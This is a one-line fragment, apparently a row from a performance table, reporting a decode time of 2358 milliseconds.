Decode Time | 2358 ms |